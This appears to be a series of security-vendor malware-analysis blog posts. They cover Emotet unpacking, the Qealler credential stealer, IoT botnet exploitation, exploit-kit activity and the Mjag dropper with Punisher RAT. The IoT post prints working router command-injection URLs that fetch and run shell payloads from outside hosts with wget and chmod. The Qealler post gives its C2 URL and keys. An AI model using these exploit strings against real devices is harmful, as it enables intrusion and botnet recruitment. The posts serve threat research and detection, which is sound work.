    In our analysis, we observed that the custom loader binary (PE exe) is encrypted with a simple byte-to-byte addition in the loop with a key array. It is not necessary for the binary to be present at zero offset in this encrypted data. In stage four, our objective is to find the offset of the PE file in the encrypted data and the decryption key. First, we will find the decryption key, which can be brute forced over encrypted data to find the starting offset of the PE file. Decryption is present in the 5th stage binary but not at a predictable location. We will derive the decryption key from the encrypted data itself.

    The heuristics property to be noted about the encrypted data is a pattern of a repeating consecutive sequence of bytes. This pattern of the repeating sequence is induced by nature of the encryption and the properties of the PE file. In the encrypted data, this pattern will appear at locations that should have filled with zeros when non-encrypted. The following are possible locations.

    1. At beginning of the encrypted data because the PE file will not necessarily begin at zero offset.
    2. Caves between two sections and between the PE header and the first section.

    Image 4: Encrypted data showing an example of the repeating sequence of bytes


    Image 5: Decrypted data showing the appearance of the corresponding PE file


    The repeating sequence is our key and the length of the sequence is the key length. The next thing we need to do is to find the beginning of the key in this consecutively repeating sequence and offset of the PE file. This can be done by simply applying the inverse of the encryption on this sequence and the encrypted data from its starting point while checking against the MZ header.

    Here is the pseudo code:

    FindPeFileAndKeyStart (keySequence, keySequenceLen, encryptedData, encryptedDataLen)         k = 0         while (k < keySequenceLen)                 i = 0                 while (i < encryptedDataLen)                         if (    // inverse encryption                             encryptedData[i + 0] - keySequence[k + 0] == 0x4D &&                             encryptedData[i + 1] - keySequence[k + 2] == 0x5A &&                             encryptedData[i + 3] = keySequence[k + 3]                             )                                 peFileOffset = i                                 keyStart = k                                 return (peFileOffset, keyStart)  

    Now that we have the PE file offset and key, we can decrypt the data with byte-to-byte subtraction with the key in the loop. At this point, we have the custom loader binary, but this custom loader binary has a strange file alignment that we need to normalize. Thus, we are at stage 3.

    But before proceeding with stage 3, here are few more methods that could also have given us the key in this stage.

    1. Search for instruction in the binary of the 5th stage, which accesses the key. Here are the examples that we found in our analysis.
      1. 8A 0C 1D FF 31 40 00                          MOV CL, BYTE PTR DS : [EBX + 4031FF]
      2. 2A 0C 1D 30 42 40 00                         SUB CL, BYTE PTR DS:[EBX+404230]
      3. 8D 84 01 0B 32 36 01                          LEA EAX,DWORD PTR DS:[ECX+EAX+136320B]
      4. 8B 1D E4 DD 46 00                              MOV EBX,DWORD PTR DS : [46DDE4]
      5. 8D 0D 81 A1 3D 01                              LEA ECX,DWORD PTR DS:[13DA181]
      6. 8A 86 77 41 E8 00                                MOV AL, BYTE PTR DS : [ESI + E84177]
      7. 8A 98 77 51 C0 00                               MOV BL, BYTE PTR DS : [EAX + C05177]
      8. A1 3C FB 46 00                                     MOV EAX,DWORD PTR DS : [46FB3C]

    DWORD points to a key array; of course it will give a false address. So, we need to validate the key by applying it on encrypted data for each such instruction.

    2. In most cases, the key is found just above the pdb path.


    Stage 3:

    At this stage, we have a custom loader binary whose file alignment is messed up. We are going to assign a new file alignment to this PE image which is 0x200. Changing the file alignment is trivial, only requiring us to carefully shift sections of the new file alignment based calculated addresses and updating section addresses and sizes in the Section Header table.

    Here is the pseudo code.

    dwNewFileAllignment = 0x200 dwCurrentRawAddress = GetAllignedDwrod(PEHeader.OptionalHeader.SizeOfHeaders, dwNewFileAllignment);         while (i < NumberOfSections)                 NewSecionHeaders[i].PointerToRawData = dwCurrentRawAddress;                 NewSecionHeaders[i].SizeOfRawData = GetAllignedDwrod(OldSecionHeaders[i].SizeOfRawData, dwNewFileAllignment);                 Memcpy(pbyNewFileBuffer + dwCurrentRawAddress,                                 pbyOldFileData + OldSecionHeaders[i].PointerToRawData,                                 OldSecionHeaders[i].SizeOfRawData);                 dwCurrentRawAddress += GetAllignedDwrod(OldSecionHeaders[i].SizeOfRawData, dwNewFileAllignment);                 dwCurrentRawAddress = GetAllignedDwrod(dwCurrentRawAddress, dwNewFileAllignment);                 i = i + 1

    This is it, we have plain and loadable binary of custom loader. That moved us to stage 2.  

    Stage 2:

    In the appended data of the custom loader, there is encrypted data which is nothing but an obfuscated version of the core malware binary. The encryption method is the same as that of stage 4. All we need to do here is calculate the offset of the appended data and apply the decryption technique mentioned in the 4th stage. As a result, we got the core PE file, but it needed some fixes in the code as some instructions were missing in the binary.


    Stage 1:

    At this stage, we have a PE file which is somewhat incomplete because the loader binary had already eaten up some instructions from the code section. These eaten instructions will be put in memory and a JUMP instruction will be inserted in the code of the core binary, which points to the corresponding eaten instructions. Then the control is passed over to the core binary.

    The below image is an example of how this obfuscation appears.


    Image 6: Obfuscated code with JUMP instruction


    The final objective is to de-obfuscate the code of the core binary. That means we need to return the eaten instructions back to their actual location and remove the JUMPs. At this point, the above code will appear as follows.


    Image 7: De-obfuscated code

    It is the loader’s responsibility to smoothly execute the core malware even after instructions are placed in different locations. The loader needs to calculate the JUMP address of the moved instructions and put the JUMP instructions in place of those instructions. For this, the moved instructions and their meta information are stored in the loader’s binary itself. In our analysis, we found that the table containing this information was present in the “.rdata” section.

    struct DeobfuscationTable {         unsigned int dwOrgInstrVAdddress; // Address of eaten instruction in loader’s binary         unsigned int dwPatchRVAddress;    // Offset where Jump need to insert         unsigned int dwOrgInstrLength;    // length of moved instructions in bytes };


    Once we get the de-obfuscation table, we just need to read “dwOrgInstrLength” bytes from the virtual address “dwOrgInstrVAdddress” loader’s binary and write them to a relative virtual address “dwPatchRVAddress” in the core malware binary. Here is the pseudo code for this.

    while (pDeObfuscationTable-> dwOrgInstrVAdddress !=  0x00) {         patchOffset = GetFileOffsetFromRVA(         pCorePEHeader,         pCoreSectionHeaders,         pDeObfuscationTable-> dwPatchRVAddress);         orgInsOffset = GetFileOffsetFromRVA(         pLoaderPEHeader,         pLoaderSectionHeaders,         pDeObfuscationTable-> dwOrgInstrVAdddress - pLoaderPEHeader-OptionalHeader.ImageBase);         memcpy (                 pbyCoreFileData + dwPatchOffset,                 pbyLoaderFileData + orgInstrOffset,                 pDeObfuscationTable->dwOrgInstrLength);         pDeObfuscationTable += 1; }  

    At this stage, we would have obtained the plain, independently executable core Emotet binary, which can be decompiled by IDA or can be bin-diffed with other binaries extracted by this decoder.  

    Thu, 02/14/2019 - 10:48 Malware Blogs
    Qealler – a new JAR-based information stealer

    Recently, the Zscaler ThreatLabZ team came across a new type of malware called Qealler, which is written in Java and designed to silently steal sensitive information from an infected machine.

    Qealler is a highly obfuscated Java loader that deploys a Python credential harvester.

    We first saw this payload hit Zscaler Cloud Sandbox on Jan 21, 2019, and below is a screenshot of the detonation report.

    Fig. 1: Zscaler Cloud Sandbox report

    This threat makes use of social engineering techniques to initiate the infection, as the malicious JAR file has to be executed by the user. These malicious JAR files are portrayed as invoice-related files, requiring the user to double-click on the file to open it.

    We have been monitoring this campaign for the past two weeks, and the malware has been quite active, spiking this week.

    Fig. 2: Hits of Qealler in a week

    The malicious JAR file (named Remittance.jar), which we analyzed, was getting downloaded from a compromised site ([.]uk). It is heavily obfuscated with Proguard Java obfuscator. After deobfuscation and decompilation, we saw encrypted URLs that are accessible by a key, as shown in the figure below.

    Fig. 3: Accessing encrypted URLs

    The sample has a “synchronized” file that contains key-value pairs.

    Fig. 4: Key-Value pair of encrypted URLs

    On execution, this sample first creates two file paths in %USERPROFILE% by checksum of hardcoded strings.

    Fig. 5: File Path creation

    File path 1:


    Equivalent to:


    File Path 2:


    Equivalent to:


    If the above two files don’t exist, the malicious file decrypts the URL, downloads these two files, and stores them in the same place.

    Fig. 6: Encrypts and drops downloaded module

    The value of LIB_7Z_URL in the synchronized file is “xVQR4PWAw91AhkgaMsQVAVV1igV7HSOV1dqWgFN23eQtkNRd23RzTnPVGB9/iVYA” which is decoded by BASE64 and decrypted by AES-EBC with the hardcoded key “bbb6fec5ebef0d93”.

    The final URL after decryption is hxxp://82.196.11[.]96:55326/lib/7z

    The value of LIB_QEALLER_URL in the synchronized file is “xVQR4PWAw91AhkgaMsQVAaWhGxVQIpMxX60ZE+OpV3KjNnWvOARi0rccZaVSvle8”, it is also decrypted by the same algorithm with the same key.

    The final URL is hxxp://82.196.11[.]96:54869/lib/qealler

    The sample downloads the data from these URLs and encrypts it using the AES algorithm with the key generated by SecureRandom() having hardcoded seed value “2a890bc98aaf6c96f2054bb1eadc9848eb17633039e9e9ffd833104ce553fe9b”.

    AES key: 39 3e df 7e fc 58 be 20 60 e4 78 bb 4a 91 38 72

    After encryption, it stores both files at the below locations to avoid further downloading in the next run:

    %USERPROFILE%\\a60fcc00\\bda431f8\\a90f3bcc\\83e7cdf9 (/lib/7z)

    %USERPROFILE%\\a60fcc00\\bda431f8\\a90f3bcc\\db2bf213 (/lib/qealler)

    Fig. 7: Created path and dropped files

    Along with these two files, the virus creates another file path with the following algorithm and stores an encrypted unique machine ID in it. The ID is generated by a random number of system nanoTime.

    Machine ID path:


    Equivalent to:


    After the downloading and decryption steps are completed, the sample stores a decrypted copy of 83e7cdf9 and db2bf213 in the %TEMP% directory with the name “_<SystemNanoTime>.tmp”.



    _502560701855008616300501457487639.tmp (/lib/7z) is again a JAR file that doesn’t have any Java code inside, but contains three PE files inside the libraries as shown in Fig 8.

    Fig. 8: Content of _502560701855008616300501457487639.tmp (/lib/7z)

    7za.exe is a repackaged version of 7-zip to ensure the malware executes successfully even if the user does not have it installed by default.

    The 7-zip (7za.exe) and its modules (7za.dll, 7zxa.dll) will be extracted from 7z.jar by the main sample and saved in the %TEMP% directory with the name “7z_<SystemNanoTime>.exe” and “7z_<SystemNanoTime>.dll”.




    After extraction, the 7-zip executable is called by the main sample with the following command-line options:

     %TEMP%\\7z_502574395484008643130462441900754.exe x %TEMP%\\_502562165489004300569223733573535.tmp -o%TEMP% -p”bbb6fec5ebef0d936db0b031b7ab19b6” -mmt -aoa -y

    The downloaded Qealler module _502562165489004300569223733573535.tmp (/lib/qealler) is a password-protected file with 7-zip.

    The above command will extract the Qealler module in the %TEMP% directory with the password: bbb6fec5ebef0d936db0b031b7ab19b6

    -mmt: use multithreading mode

    -aoa: set overwrite mode

    -y: assume yes for all the prompts

    The Qealler module is the key component of this malware.

    The extracted Qealler module contains Python 2.7.12 with the installed packages to ensure the malware will execute even if the user does not have it installed by default.

    The Qealler also has a directory named QaZaqne. It is a custom version of the open source project called LaZagne. LaZagne is used to retrieve lots of passwords stored on a local computer. This is the same functionality of QaZagne, which finds and steals credentials of the most commonly used software from local machines.

    Fig. 9: Content of extracted _502562165489004300569223733573535.tmp (/lib/qealler)

    After extraction, the main sample (Remittance.jar) executes a Python file of QaZagne ( with the following option and takes the JSON output:

    %TEMP%\\qealler\\python\\python.exe %TEMP%\qealler\qazaqne\ all

    Fig. 10: Stealer functions in QaZaqne module

    This will get the credentials of all the software shown in the figure below:

    Fig. 11: Qealler steals credentials of the software in this table

    The output of the QaZagne on an infected Windows machine is shown in Fig 12. It is in JSON format and contains the credentials of CoreFTP and a Windows credential manager. It always starts with #fs# and ends with #ff#.

    Fig. 12: JSON output of QaZaqne module

    The main sample parses this output, fetches below system information, and encrypts it using an AES-EBC algorithm with key “bbb6fec5ebef0d93”.

    Fig. 13: Fetch and encrypt system info

    The final information scraped from the infected machine before encryption is shown below.

    Fig. 14: Scrapped data from an infected machine

    Here, machine_id is a unique ID generated by system nanoTime and uuid is encrypted in a synchronized file.

    This output is encrypted and encoded with BASE64 and sent to the command-and-control (C2) server, whose URL is an encrypted value of the key “d7c363a2019dac744cf076e11433547a47907e2c2f781e2d1c8f59a40c57dd03” in a synchronized file.

    C2 URL: hxxp://82.196.11[.]96:56636/qealler-reloaded/ping

    Fig. 15: Data sent to C2

    In the post headers, q-qealler-id is the encrypted machine ID and q-qealler-stub-id is the encrypted hash of the machine ID and system time.

    The request body contains encrypted and encoded system information and stolen credentials.

    If the C2 server is active and data is successfully sent to the server, it will respond with the encrypted status, which looks like the following after decryption:














    4f77bf588e0b721e68971059b0cefe21 (Remittance Advice.jar)

    b0ba5d6fdd26d81a6a2f050600ade3f0 (Remittance Advice.jar)

    d742beba17f7893b2b4989661652a66f (Remittance Advice.jar)

    61ecd8f17d405fa1c29dd78008011250 (Remittance Advice.jar)

    ccac2b99cb4b72bc7728a8fc42ccc4ad (Remittance Advice.jar)

    76e87575e76b2ea28e1bb49e4c280152 (Remittance Advice.jar)

    7854ccf3208f805da7ec19a067ae3abe (Remittance Advice.jar)

    ca741116466d5ddbcb76df00748bb885 (Remittance Advice.jar)

    9b7ebeff190cef02a7c22072d3d26ab3 (Remittance Advice.jar)

    639865eb7fac1b405b223cb4b7fe9ada ({E60A953D}-Remittance Advice.jar)

    e6fdc2140f6047fad60720cdf2157f9c (Remittance.jar)

    aae120bf74131d04e47d99b16af41120 (Remittance.jar)

    3d43a83b1c8877e782ff69650ec00449 (Remittance.jar)

    4d433929f175c6df366aed139bf34f85 (Remittance.jar)

    2ed3b8cdc87a11437f5a15302ce047d6 (Remittance.jar)

    8e0f4cb12c6f2fef3a8ff731c195843d (Remittance.jar)

    fc20f0068b71cc74e9061a0ea2b5d45a (Cred_Adv043H3272.jar)

    791217f372c347f53003ae8a26a2fe54 (Cred_Adv043H3272.jar)

    a593cb286e0fca1ca62e690022c6d918 (7z.jar)

    8d2c718599ed0aff7ab911e3f1966e8c (qealler.jar)

    5a8915c3ee5307df770abdc109e35083 (

































    Wed, 02/06/2019 - 08:26 Analysis,Evasion/Stealth,Malware Blogs
    A sneak peek into recent IoT attacks

    Since the Mirai botnet source code was leaked in 2016, it was inevitable that we’d see its variants being put to use in IoT threat campaigns. Apart from using brute-force techniques to attack IoT devices through various protocols, the botnet also seems to be leveraging vulnerabilities present in IoT devices to infect other IoT devices. These vulnerabilities are mostly in management frameworks and, by exploiting them, attackers are achieving remote code execution. This typically results in turning the infected device into a bot which in turn forms a bigger botnet army. In some cases, we also saw cryptominers as the final payload delivered in the IoT campaigns.

    The Zscaler ThreatLabZ team has been actively tracking these IoT attacks and analyzing their behavior, exploits, and payloads. In this blog, we will summarize our observations about a few of the more prominent IoT attacks we observed.

    The graph below shows the IoT attacks we detected over the last three months.

    Fig. 1: Detection timeline of prominent IoT threats

    We observed a significant spike in detection at the start of January 2019. The spike was due to the heavy adoption of the ThinkPHP exploit, which we’ll describe later in the report.

    RIFT botnet

    The RIFT botnet emerged in December 2018 and uses a variety of exploits to infect IoT devices. According to online sources, the botnet used 17 exploits. The table below includes some of the more prominent RIFT exploits and those that continue to be active.

    Fig. 2: Observed active exploits used in RIFT attack

    Most of the vulnerabilities exploited were Remote Code Execution (RCE) or Command Injection types. It was surprising to see the use of WordPress-based websites into IoT devices. This indicates the use of readily available frameworks in IoT devices is increasing due to ease of integration.

    The following are typical post-exploitation steps:

    • Download the payload using “wget” command
      • The payload downloaded was Shell script or ELF file
      • In case of Shell script as payload, it downloads the ELF file depending on the code present inside it
    • Store the payload into “/tmp” directory
    • Make the payload executable using “chmod” command
      • chmod 777 <filename>
    • Run the payload
      • /tmp/<filename>

    Let’s take a sneak peek into one of the exploits we observed in the RIFT attack.

    CVE-2015-2280 – AirLink101 SkyIPCam1620W Wireless N MPEG4 3GPP network camera OS command execution vulnerability

    There is an OS command injection vulnerability in “snwrite.cgi”. The OS command can be injected through the parameter “mac”. The exploit URL looks like the following:


    Post successful exploitation of this vulnerability, the “wget” command downloads the shell script payload from the URL “hxxp://89[.]46[.]223[.]70/” and stores the payload using “-O” switch to “/tmp/666trapgod”. Later, it changes the permission of the shell script file to 777 (full permissions), which makes it executable and then runs it from its location in the “/tmp” directory.

    Fig. 3: Malicious “” shell script

    The “” (which is stored as “66trapgod”) downloads the final payload from the dropper server “89[.]46[.]223[.]70”. It downloads the payload for all the *INX and other firmware architectures and hopes one of its suits to victim’s architecture and executes it. All the payloads are prefixed with the “rift” string. The targeted architectures are:

    x86, arm, arm5, arm6, arm7, m68k, mips, mpsl, ppc, ppc-440fp, sh4, spc, x32, x64


    Fig. 4: RIFT botnet (rift.x86) packed with UPX packer

    The static analysis of the unpacked payload reveals its contents.

    • It contains a list of known default usernames and passwords of IoT devices.

    Fig. 5: Usernames and passwords found in RIFT botnet

    • Various IoT exploits, a few of which are mentioned in the below screenshot. (Also contains some mentioned in Fig. 2.)

    Fig. 6: Exploits in the RIFT botnet

    Using these default credentials and exploits, the infected IoT device infects another device. There is also an interesting reference in the payload that refers to “OrkSec Gang.”

    Fig. 7: OrkSec Gang reference

    The following are the user-agents seen in this attack:

    • Dark
    • Rift/2.0
    • Sefa
    • Shaolin/1.0
    • Oof

    ThinkPHP exploitation

    On December 11, 2018, a remote code execution vulnerability in the ThinkPHP framework was reported. The ThinkPHP is used predominantly in China. We believe ThinkPHP is also being incorporated in upcoming IoT devices for its management plugins. The exploit code is as follows:


    The OS commands are injected through the query parameter “vars”. This follows a typical exploitation sequence observed in RIFT attacks (as explained above). The payload was downloaded from the URL “hxxp://orksecpatrol[.]xyz/bins/rift.x86”, which is similar to what we saw in the case of RIFT. The payload downloaded from the ThinkPHP exploit also was packed with UPX and contains a list of well-known usernames and passwords. Similar exploits were also embedded in the binary that we saw in the RIFT botnet. The notable difference was that this payload now contains the ThinkPHP exploit. It appears that the RIFT attack incorporated this exploit into its arsenal.


    Fig. 8: Inclusion of ThinkPHP exploit in RIFT botnet

    There was one more difference: a couple of vulnerabilities exploited over the UPnP SOAP (CVE-2014-8361) protocol in Realtek SDK Miniigd was using the user-agent string “NotRift/2.0” instead of the previously used user-agent “Rift/2.0” string.

    Fig. 9: Comparing UPnP exploits observed in RIFT and ThinkPHP payloads

    It has become evident that the RIFT botnet is also being delivered through the ThinkPHP exploitation.

    D-Link router exploitation

    In addition to other targets, we saw major hits related to DLink routers, especially the DSL-2750B model. This model had a Remote Code Execution (RCE) vulnerability that can be exploited with the “cli” parameter (“login.cgi?cli=”). The parameter directly invokes the “ayecli” binary, and arguments to this parameter become the input to binary. Below is the observed exploit code:

    <IP Address>/login.cgi?cli=aa aa';wget hxxp://89[.]46[.]223[.]70/ -O -> /tmp/ff;chmod +x /tmp/ff;sh /tmp/ff'$

    The URL downloads a shell script from “hxxp://89[.]46[.]223[.]70” and drops it into “/tmp/” directory with file name “ff”. We noticed that file names were totally random. Later, the file is made executable with the “chmod +x” command and is finally executed.

    The shell script contains download links of additional payloads for different architectures.


    Fig. 10: Malicious “” shell script

    The task of shell script is to remove all contents from the “/tmp/” directory, download the actual payload, make the payload executable, and finally execute the payload. It tries to download and execute payloads for many *NIX architectures including but not limited to .arm, .arm5, .arm7, .mips, .mpsl, .x86, etc. Once the payload is executed, it deletes all the payloads from the “/tmp/” directory, leaving no trace of the attack.

    The payload dropped from the exploit was not packed, and a simple static analysis of the file showed reference to another famous UPnP SOAP exploit (CVE-2014-8361) in Realtek SDK Miniigd. This vulnerability affects all the IoT devices embedded with Realtek SDK. This Mirai variant tries to exploit all the other devices with the embedded exploit of Realtek SDK Miniigd.

    Fig. 11: Realtek SDK Miniigd exploit – CVE-2014-8361

    Shaolin botnet (exploitation of NETGEAR vulnerability)

    In the first week of January 2019, we saw hits targeting NETGEAR routers. In these attacks, an old bug was being used for Remote Code Execution (RCE). NETGEAR DGN2200 and NETGEAR DGN1000 are vulnerable to this bug.

    We saw similar patterns in the URL below, where attackers were trying to download additional payloads from external locations. The exploit code is as follows:

    <IP Address>/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/*;wget hxxp://145[.]239[.]138[.]69/bins/shaolin.mips -O /tmp/netgear;sh netgear&curpath=/&currentsetting.htm=1

    The downloaded payload “shaolin.mips” is named “netgear” and is executed directly after download. This payload is similar to what we saw in the Airlink101 SkyIPCam case described earlier and used multiple exploits. We found it to be using the SOAP exploit, which targets DSL modems as shown in the code snippet below:

    Fig. 12: SOAP exploit targeting DSL modems

    The payload also tries to exploit the Home Network Administration Protocol (HNAP) in D-Link routers to download additional payloads. The following snippet was fetched from a payload that shows usage of HNAP.

    Fig. 13: HNAP exploit targeting D-Link routers

    In addition, we found many embedded usernames and password, similar to what we saw in the AirLink case.


    The IoT space is evolving, and so is the attack surface of these devices. IoT devices need to be patched on a timely basis, which presents a challenge. IoT devices also need to be updated regularly. Even though techniques like brute-force attacks that use default passwords are not new, they remain effective because device passwords tend to go unchanged following installation. By hardening IoT devices and baking security in, many of the attacks we’ve been seeing can be countered.

    Zscaler detections


    Indicators of Compromise (IOCs)



    Mon, 01/28/2019 - 09:37 Blogs
    Top Exploit Kit Activity Roundup – Winter 2019

    This is the ninth in a series of quarterly roundups by Zscaler ThreatLabZ researchers, in which the team collects and analyzes the recent activity of current exploit kits. Exploit kits (EKs) are rapidly deployable software packages designed to leverage vulnerabilities in web browsers and deliver a malicious payload to a victim’s computer. Authors of EKs offer their services for a fee, distributing malware for other malicious actors. What follows are highlights from the EK activity we observed during the last quarter.


    RIG EK

    RIG EK has been the most active exploit kit in the past, but its activity has decreased in comparison to previous quarters. We saw various payloads delivered by RIG EK, from ransomware to banking Trojans. The graph below shows the hits representing RIG EK activity.

    Figure 1: RIG EK hits from 15th October 2018 to 15th January 2019

    The geographic distribution for RIG EK hits is shown below.

    Figure 2: RIG EK heat map shows showing infected regions

    One instance of the RIG EK cycle is shown in the figure below.

    Figure 3: RIG EK infection cycle

    The obfuscated JavaScript on the landing page can be seen below.

    Figure 4: RIG EK landing page, obfuscated JavaScript

    We observed the use of CVE-2018-8174, which targets a VBScript engine to attack the victim's machine. A Flash-based exploit, CVE-2018-4878, was also used, affecting Adobe Flash version and earlier versions.

    Decompiling the Flash file, we can see the CVE-2018-4878 code, shown below.

    Figure 5: Decompiled Flash exploit in the current RIG EK cycle; CVE-2018-4878

    We can see that the threat actors have tried to mask the function names, which were visible last quarter, as shown in the screen below.

    Figure 6: Decompiled Flash exploit in previous quarter RIG EK cycle; CVE-2018-4878

    Different payloads were observed during the quarter, with GrandCrab ransomware being served at the start of the quarter and Trojans being served towards the end.


    GrandSoft EK

    GrandSoft EK is an old exploit kit that has been showing some recent activity. This EK is being served through malvertisement redirects.

    Figure 7: GrandSoft EK hits from 15th October 2018 to 15th January 2019

    The geographical distribution of GrandSoft hits can be seen below.

    Figure 8: GrandSoft EK heat map shows infected regions, primarily in Asia

    The threat actors make small changes to the URL pattern as shown in the image below.

    Figure 9: GrandSoft EK Cycle with URL "getversionpd"


    Figure 10: GrandSoft EK cycle with the URL "getversoinpd"


    We saw no changes in the landing page, and we saw that the CVE-2016-0189 VBScript memory corruption vulnerability was still being used to exploit the victim. A snippet of the GrandSoft EK landing page is shown below.

    Figure 11: GrandSoft EK landing page

    The payloads we observed included a password stealer and Trojan malware, including Azorult, which differed from the GrandCrab ransomware we saw in previous quarters.


    Fallout EK

    Fallout EK is relatively new, showing activity since early last quarter. The EK redirects victims using multiple HTTP 302 redirects and then sends the user to the Fallout EK landing page. Users are mainly targeted by malvertisement campaigns.  

    Figure 12: Fallout EK hits from 15th October 2018 to 15th January 2019

    The geographic distribution for the Fallout EK is shown below.

    Figure 13: Fallout EK heat map shows infected regions

    We can see one instance of a Fallout EK chain in the figure below.

    Figure 14: Fallout EK infection cycle

    We can see the initial HTTP 302 redirects from 185.231.69[.]225 and 51.15.98[.]59, which leads to the Fallout EK landing page.

    The screenshot of the obfuscated landing page is shown below.

    Figure 15: Fallout EK landing page 

    The payload seen with the Fallout EK was GrandCrab ransomware.

    Figure 16: GrandCrab ransomware infection through Fallout EK


    Other exploit kits

    We observed Magnitude EK activity in Southeast Asia, but other exploit kits like Terror EK, Disdain EK, and Kaixin EK are no longer showing any activity. Underminer EK is another exploit kit seen in past quarters, but we have not seen a full cycle for it in the current quarter.



    Exploit kits can infect a victim's machine during web browsing without the user’s knowledge. The attackers monetize successful infections by collecting a ransom for retrieving data encrypted by ransomware, mining cryptocurrencies using the victim's system resources, or installing Trojans to steal a victim’s identity. Attackers frequently change their techniques by obfuscating the source code or integrating new exploit code into their EK, and security researchers analyze and block the new threats by tracking changes in the EK behavior. 

    To help avoid infections from exploit kits, users should always block untrusted third-party scripts and resources, and avoid clicking on suspicious advertisements. Keeping browser plugins and web browsers up to date with the latest patches helps to protect against common vulnerabilities targeted by exploit kits. The Zscaler ThreatLabZ research team has confirmed coverage for these top exploit kits and subsequent payloads, ensuring protection for organizations using the Zscaler cloud security platform.

    Fri, 01/18/2019 - 09:41 Exploit Kit Blogs
    Mjag dropper: Using decoy documents to drop RATs

    Mjag dropper

    Mjag dropper is compiled in the Microsoft .NET framework, and its original binary is obfuscated using SmartAssembly. The installation path and other details are stored in encrypted form using AES encryption (Fig. 1), and the decryption key is hardcoded.

    Fig. 1: AES decryption function

    The payload and decoy PDF is encrypted and stored in the resource section, and a custom encryption method has been used. The decryption key is hardcoded (Fig. 2).

    Fig. 2: Extracting decoy PDF and payload

    The decoy document claims to be an India Overseas Bank NEFT transaction statement. It lures users to click the “Click here to view full document” link, which points to a malicious website hosting a copy of the Mjag droppper payload. (Fig. 3).

    Fig. 3: Decoy PDF document



    • Copies itself in “%APPDATA%\FolderN\name.exe”  location
    • Creates startup key: “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load” with values as “%APPDATA%\FolderN\name.exe.lnk”
    • Copies “C:\Windows\Microsoft.NET\Framework\<Version>\msbuild.exe” to “%TMP%\svhost.exe”
    • Starts svhost.exe in suspend mode and injects the final payload (Fig. 4)

    Fig. 4: Process injection using Windows APIs

    However, the injected payload does not run properly and displays an error message (Fig. 5).

    Fig. 5: Unhandled exception popup

    This error is due to the injector code not being able to inject the overlay part of the payload, the part that contains the command-and-control (C&C) server details. As shown in the injection code snapshot below, it allocates memory in a target process similar to the size of image length defined in the PE header of payload (Fig. 6). This means Mjag will not be able to properly inject payloads (like Punisher RAT) that contain important data in the overlay.  

    Fig. 6: Injector code

    For the purpose of this blog we patched the memory mapping issue and continued our analysis of the infection cycle involving Punisher RAT.

    Analysis of Punisher RAT

    Punisher RAT is packed and written in .NET. The Punisher RAT builder is publicly available and can be configured with a range of features. In the builder (Fig. 7), you can configure the server IP, name, password, and listening port. The RAT will communicate on the given server IP and send all the information stolen from the victim’s machine. There is also a feature to add more functionality in binary, including anti-VMware, anti-AV, sandbox detection, and USB spread for further infection, among others.

    Fig. 7: Punisher RAT builder

    During analysis, we saw various functions of this malware, including:

    1. Password stealing module

    The malware hunts for various application data and steals the credentials. Here (Fig. 8), it is trying to steal the stored login credentials for the Chrome browser. The stolen information will look like:


    |USR| username or e-mail

    |PWD| userpassword

    Fig. 8: Stealing module

    The Punisher RAT attempts to steal sensitive data from the following applications on the infected system: Filezilla, No-IP Dynamic Update Client, Dyn DNS, Paltalk, FireFox, Chrome, Hotmail, Yahoo, Opera, and Internet Explorer.

    2. Anti-task manager

    The malware checks for the following applications’ processes, and does not allow these applications to terminate any other processes running on the user's system.

    • Process Explorer
    • Process Hacker
    • Task Manager

    This allows malware author to ensure that the malware processes cannot be terminated. Fig. 9 shows that while attempting to kill 'a.exe' process using the Process Explorer, the “OK” button will be replaced by an “Error” button.

    Fig. 9: Anti-task manager


    3. Keylogging 

    The malware can capture keystrokes (Fig. 10) and store the data into the %AppData%/{random digits}.log file.

    Fig. 10: Capturing keystrokes


    4. Persistence 

    The malware copies itself in the startup folder and creates a run key of this location.



    5. Spreading vector

    It looks for a removable drive and CD-ROM for infection and creates an .lnk file.

    Below (Fig. 11) depicts the spreading mechanism through a USB device.

    Fig. 11: USB spread


    6. AV checks

    The Punisher RAT checks for installed AV software (Fig. 12) and updates to the server.

    Fig. 12: Checking AV

    Network activity

    The hardcoded C&C information (Fig. 12) is extracted from the payload, and it will split the data with the delimiter “abccba.”

    Fig. 13: C&C server information


    It also collects the information about the multiple running processes:

    AW|BawaneH|Process Explorernj-q8


    The table consists of extracted C&C information from the payload.

    This RAT uses “BawaneH” as a delimiter to split the server response data. It performs various actions based on received commands. There were a total of 59 commands used by the server, shown in the following table:

    Fig.14: Received commands


    Md5: 0a459c18e3b8bdef87a6fb7ea860acdb

    Filename: NEFTIOBAN1830369427520181030ABBIdiaLtddt30102018_pdf.exe

    Download URL: tenau[.]pw/owa/neftioban1830369427520181030abbidialtddt30102018_pdf.exe


    Sandbox Report


    Fig. 15: Zscaler Sandbox report





    Thu, 01/10/2019 - 12:20 Blogs
    The Top 10 ThreatLabZ blogs from 2018

    The Zscaler ThreatLabZ team is continually hunting new threats, analyzing them, and sharing their findings in blogs and reports on the Zscaler site. What follows are the most read and shared blogs of 2018.


    Android apps infected with Windows malware reemerge

    By Gaurav Shinde

    This blog explores apps available on Google Play that were infected with malicious iFrames. Though the malware posed no immediate threat to users, its discovery highlights the fact that infections can be propagated across different platforms. This vector can be leveraged by a clever attacker to serve second-level malicious payloads, depending on the type of device platform visiting the URL. Read more.


    Fake Fortnite apps scamming and spying on Android gamers

    By Viral Gandhi

    Fortnite is a co-op sandbox survival game and, at the time of the ThreatLabZ report, had 45 million players and more than three million concurrent users. In 2918, its maker, Epic Games, announced a version for iOS. Malware authors, knowing that Android users would be anxious to get Fornite, created fake Fortnite for Android apps to spread their payloads, including spyware, a coin miner, and some unwanted apps. Read more.


    CVE-2017-8570 and CVE-2018-0802 exploits being used to spread LokiBot

    By Mohd Sadique

    This blog provides an overview of the use of malicious RTF documents that leverage the CVE-2017-8570 and CVE-2018-0802 vulnerability exploits to install malicious payloads on victims’ machines. The team shares its analysis of a campaign leveraging these two exploits to deliver LokiBot. Read more.


    The latest cloud hosting service to serve malware

    By Dhanalakshmi

    Cloud services are under attack because they enable bad actors to open inexpensive hosting accounts for hiding malicious content in the cloud-based domains of well-known brands. The ThreatLabZ team discovered that a popular managed cloud hosting service provider has been serving phishing attacks and other malware in the wild as far back as February 2018. Read more.


    Meltdown and Spectre vulnerabilities: What you need to know

    By Deepen Desai

    With the ability to allow attackers to gain unauthorized access to sensitive information in system memory, Meltdown and Spectre represent a new class of microarchitectural attacks that use processor chip performance optimization features to exploit built-in security mechanisms. This blog provides an analysis of the vulnerabilities as well as mitigation information. Read more.


